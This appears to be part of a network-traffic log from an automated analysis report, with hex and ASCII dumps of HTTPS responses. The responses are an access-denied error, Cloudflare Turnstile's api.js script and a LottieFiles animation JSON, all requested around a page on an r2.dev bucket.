2025-03-27 15:59:55 UTC	117	IN	Data Raw: 36 66 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 41 63 63 65 73 73 44 65 6e 69 65 64 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 4d 65 73 73 61 67 65 3e 3c 2f 45 72 72 6f 72 3e 0d 0a Data Ascii: 6f<?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>Access Denied</Message></Error>
2025-03-27 15:59:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:55 UTC	627	OUT	GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:55 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 15:59:55 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48123 Connection: close accept-ranges: bytes last-modified: Tue, 18 Mar 2025 12:36:20 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 927019058a13f5f8-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 15:59:55 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function jt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 5a 7c 7c 28 5a 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 3d 22 72 Data Ascii: anual",e.Auto="auto"})(Z\|\|(Z={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render="r
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 Data Ascii: tion pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test(e)
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 Data Ascii: "ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"fbD
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 65 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 Data Ascii: .setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},ee(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writ
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 Data Ascii: nfigurable:!0}}),ee(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,ar
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 62 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b Data Ascii: tion(e,t,a){var o=Tt(t.params,!1),c="h/".concat("b","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(a);

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:55 UTC	414	OUT	GET /packages/lf20_zw0djhar.json HTTP/1.1 Host: assets5.lottiefiles.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:56 UTC	613	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 15:59:56 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Last-Modified: Sat, 14 May 2022 08:16:32 GMT x-amz-version-id: bzTAHEYXH5izjVB0r3PwFXR1BycuFXOA Cache-Control: max-age=315360000 ETag: W/"c17f786d1eda65296df13ddcbbe8e0b1" Vary: accept-encoding X-Cache: RefreshHit from cloudfront Via: 1.1 faa1f1cd9e8aec6c42fd30b6d46e49f4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P8 X-Amz-Cf-Id: VfKrGMsoROdUosxP71oiwSFixXAkpeH3QNxU8jfqrniNZ2bAboLpvw== cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 927019075e451906-EWR
2025-03-27 15:59:56 UTC	756	IN	Data Raw: 37 64 33 37 0d 0a 7b 22 76 22 3a 22 35 2e 36 2e 36 22 2c 22 66 72 22 3a 32 34 2c 22 69 70 22 3a 30 2c 22 6f 70 22 3a 31 32 30 2c 22 77 22 3a 33 32 30 30 2c 22 68 22 3a 33 32 30 30 2c 22 6e 6d 22 3a 22 57 61 76 79 5f 47 65 6e 2d 30 31 5f 53 69 6e 67 6c 65 2d 30 37 22 2c 22 64 64 64 22 3a 30 2c 22 61 73 73 65 74 73 22 3a 5b 5d 2c 22 6c 61 79 65 72 73 22 3a 5b 7b 22 64 64 64 22 3a 30 2c 22 69 6e 64 22 3a 31 2c 22 74 79 22 3a 34 2c 22 6e 6d 22 3a 22 68 61 69 72 20 70 61 72 74 22 2c 22 70 61 72 65 6e 74 22 3a 38 2c 22 73 72 22 3a 31 2c 22 6b 73 22 3a 7b 22 6f 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 31 30 30 2c 22 69 78 22 3a 31 31 7d 2c 22 72 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 30 2c 22 69 78 22 3a 31 30 7d 2c 22 70 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b Data Ascii: 7d37{"v":"5.6.6","fr":24,"ip":0,"op":120,"w":3200,"h":3200,"nm":"Wavy_Gen-01_Single-07","ddd":0,"assets":[],"layers":[{"ddd":0,"ind":1,"ty":4,"nm":"hair part","parent":8,"sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 5d 2c 5b 2d 36 2e 33 33 37 2c 2d 34 2e 38 36 32 5d 2c 5b 2d 34 34 2e 38 34 39 2c 2d 32 38 2e 33 35 33 5d 5d 2c 22 76 22 3a 5b 5b 2d 32 30 32 2e 36 33 2c 2d 31 35 37 2e 33 32 39 5d 2c 5b 2d 31 36 36 2e 36 38 34 2c 2d 35 35 2e 30 33 5d 2c 5b 2d 31 33 32 2e 34 36 39 2c 31 31 2e 34 32 38 5d 2c 5b 32 39 2e 39 31 2c 31 30 30 2e 30 38 37 5d 2c 5b 31 32 30 2e 32 37 37 2c 39 35 2e 35 38 38 5d 2c 5b 32 30 35 2e 30 37 34 2c 31 35 39 2e 32 30 36 5d 2c 5b 31 31 31 2e 30 31 34 2c 33 34 2e 31 38 33 5d 2c 5b 2d 34 38 2e 38 32 37 2c 2d 36 39 2e 35 37 32 5d 2c 5b 2d 31 32 30 2e 31 32 34 2c 2d 31 31 39 2e 32 35 5d 5d 2c 22 63 22 3a 74 72 75 65 7d 5d 7d 2c 7b 22 69 22 3a 7b 22 78 22 3a 30 2e 36 36 37 2c 22 79 22 3a 31 7d 2c 22 6f 22 3a 7b 22 78 22 3a 30 2e 33 33 33 2c 22 79 Data Ascii: ],[-6.337,-4.862],[-44.849,-28.353]],"v":[[-202.63,-157.329],[-166.684,-55.03],[-132.469,11.428],[29.91,100.087],[120.277,95.588],[205.074,159.206],[111.014,34.183],[-48.827,-69.572],[-120.124,-119.25]],"c":true}]},{"i":{"x":0.667,"y":1},"o":{"x":0.333,"y
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 2c 22 67 22 3a 7b 22 70 22 3a 33 2c 22 6b 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 30 2c 30 2e 31 39 32 2c 30 2e 30 39 38 2c 30 2e 32 36 37 2c 30 2e 35 2c 30 2e 33 30 36 2c 30 2e 31 36 31 2c 30 2e 33 36 35 2c 31 2c 30 2e 34 32 2c 30 2e 32 32 34 2c 30 2e 34 36 33 5d 2c 22 69 78 22 3a 39 7d 7d 2c 22 73 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 36 30 37 2e 36 31 2c 33 33 30 2e 34 34 5d 2c 22 69 78 22 3a 35 7d 2c 22 65 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 2d 32 37 35 2e 31 32 37 2c 2d 32 35 38 2e 30 35 32 5d 2c 22 69 78 22 3a 36 7d 2c 22 74 22 3a 31 2c 22 6e 6d 22 3a 22 47 72 61 64 69 65 6e 74 20 46 69 6c 6c 20 31 22 2c 22 6d 6e 22 3a 22 41 44 42 45 20 56 65 63 74 6f 72 20 47 72 61 70 68 69 63 20 2d 20 47 2d 46 69 6c 6c 22 2c 22 68 64 22 3a 66 61 6c 73 Data Ascii: ,"g":{"p":3,"k":{"a":0,"k":[0,0.192,0.098,0.267,0.5,0.306,0.161,0.365,1,0.42,0.224,0.463],"ix":9}},"s":{"a":0,"k":[607.61,330.44],"ix":5},"e":{"a":0,"k":[-275.127,-258.052],"ix":6},"t":1,"nm":"Gradient Fill 1","mn":"ADBE Vector Graphic - G-Fill","hd":fals
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 22 68 64 22 3a 66 61 6c 73 65 7d 2c 7b 22 74 79 22 3a 22 67 66 22 2c 22 6f 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 31 30 30 2c 22 69 78 22 3a 31 30 7d 2c 22 72 22 3a 31 2c 22 62 6d 22 3a 30 2c 22 67 22 3a 7b 22 70 22 3a 33 2c 22 6b 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 30 2c 30 2e 36 36 37 2c 30 2e 35 30 32 2c 30 2e 39 37 36 2c 30 2e 34 39 38 2c 30 2e 35 32 34 2c 30 2e 34 34 39 2c 30 2e 39 31 2c 30 2e 39 39 36 2c 30 2e 33 38 2c 30 2e 33 39 36 2c 30 2e 38 34 33 5d 2c 22 69 78 22 3a 39 7d 7d 2c 22 73 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 2d 38 35 2e 38 39 37 2c 2d 31 30 32 2e 38 38 37 5d 2c 22 69 78 22 3a 35 7d 2c 22 65 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 32 35 32 2e 30 39 39 2c 32 39 39 2e 36 34 33 5d 2c 22 69 78 22 3a 36 7d 2c 22 74 22 3a 31 Data Ascii: "hd":false},{"ty":"gf","o":{"a":0,"k":100,"ix":10},"r":1,"bm":0,"g":{"p":3,"k":{"a":0,"k":[0,0.667,0.502,0.976,0.498,0.524,0.449,0.91,0.996,0.38,0.396,0.843],"ix":9}},"s":{"a":0,"k":[-85.897,-102.887],"ix":5},"e":{"a":0,"k":[252.099,299.643],"ix":6},"t":1
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 2c 2d 33 39 2e 36 39 32 5d 5d 2c 22 76 22 3a 5b 5b 2d 33 2e 31 39 38 2c 2d 31 30 30 2e 37 30 37 5d 2c 5b 33 38 2e 32 37 35 2c 2d 38 30 2e 30 32 38 5d 2c 5b 36 35 2e 39 38 35 2c 35 34 2e 38 37 39 5d 2c 5b 32 33 2e 31 38 33 2c 39 39 2e 38 33 33 5d 2c 5b 2d 37 33 2e 38 30 32 2c 2d 36 2e 30 33 34 5d 5d 2c 22 63 22 3a 74 72 75 65 7d 2c 22 69 78 22 3a 32 7d 2c 22 6e 6d 22 3a 22 50 61 74 68 20 31 22 2c 22 6d 6e 22 3a 22 41 44 42 45 20 56 65 63 74 6f 72 20 53 68 61 70 65 20 2d 20 47 72 6f 75 70 22 2c 22 68 64 22 3a 66 61 6c 73 65 7d 2c 7b 22 74 79 22 3a 22 67 66 22 2c 22 6f 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 31 30 30 2c 22 69 78 22 3a 31 30 7d 2c 22 72 22 3a 31 2c 22 62 6d 22 3a 30 2c 22 67 22 3a 7b 22 70 22 3a 33 2c 22 6b 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 Data Ascii: ,-39.692]],"v":[[-3.198,-100.707],[38.275,-80.028],[65.985,54.879],[23.183,99.833],[-73.802,-6.034]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"gf","o":{"a":0,"k":100,"ix":10},"r":1,"bm":0,"g":{"p":3,"k":{"a":0,"k"
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 35 33 2c 30 2e 34 33 35 2c 30 2e 33 33 37 5d 2c 22 69 78 22 3a 39 7d 7d 2c 22 73 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 34 32 2e 32 30 36 2c 2d 31 36 2e 38 38 31 5d 2c 22 69 78 22 3a 35 7d 2c 22 65 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 2d 31 32 38 2e 33 38 36 2c 31 30 36 2e 30 32 37 5d 2c 22 69 78 22 3a 36 7d 2c 22 74 22 3a 31 2c 22 6e 6d 22 3a 22 47 72 61 64 69 65 6e 74 20 46 69 6c 6c 20 31 22 2c 22 6d 6e 22 3a 22 41 44 42 45 20 56 65 63 74 6f 72 20 47 72 61 70 68 69 63 20 2d 20 47 2d 46 69 6c 6c 22 2c 22 68 64 22 3a 66 61 6c 73 65 7d 2c 7b 22 74 79 22 3a 22 74 72 22 2c 22 70 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 33 33 37 2e 33 34 37 2c 31 32 38 36 2e 38 36 36 5d 2c 22 69 78 22 3a 32 7d 2c 22 61 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 30 2c Data Ascii: 53,0.435,0.337],"ix":9}},"s":{"a":0,"k":[42.206,-16.881],"ix":5},"e":{"a":0,"k":[-128.386,106.027],"ix":6},"t":1,"nm":"Gradient Fill 1","mn":"ADBE Vector Graphic - G-Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[337.347,1286.866],"ix":2},"a":{"a":0,"k":[0,
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 2c 31 36 38 2e 38 32 31 2c 30 5d 2c 22 69 78 22 3a 32 7d 2c 22 61 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 31 37 33 2c 2d 35 36 2c 30 5d 2c 22 69 78 22 3a 31 7d 2c 22 73 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 31 30 30 2c 31 30 30 2c 31 30 30 5d 2c 22 69 78 22 3a 36 7d 7d 2c 22 61 6f 22 3a 30 2c 22 73 68 61 70 65 73 22 3a 5b 7b 22 74 79 22 3a 22 67 72 22 2c 22 69 74 22 3a 5b 7b 22 69 6e 64 22 3a 30 2c 22 74 79 22 3a 22 73 68 22 2c 22 69 78 22 3a 31 2c 22 6b 73 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 7b 22 69 22 3a 5b 5b 30 2c 39 2e 37 39 36 5d 2c 5b 34 30 2e 36 33 33 2c 30 5d 2c 5b 31 31 2e 36 35 38 2c 2d 32 35 2e 32 34 34 5d 2c 5b 33 30 2e 34 38 37 2c 2d 31 2e 36 38 31 5d 2c 5b 35 33 2e 34 30 37 2c 32 2e 38 35 39 5d 2c 5b 35 30 2e 33 35 2c 35 34 2e 33 Data Ascii: 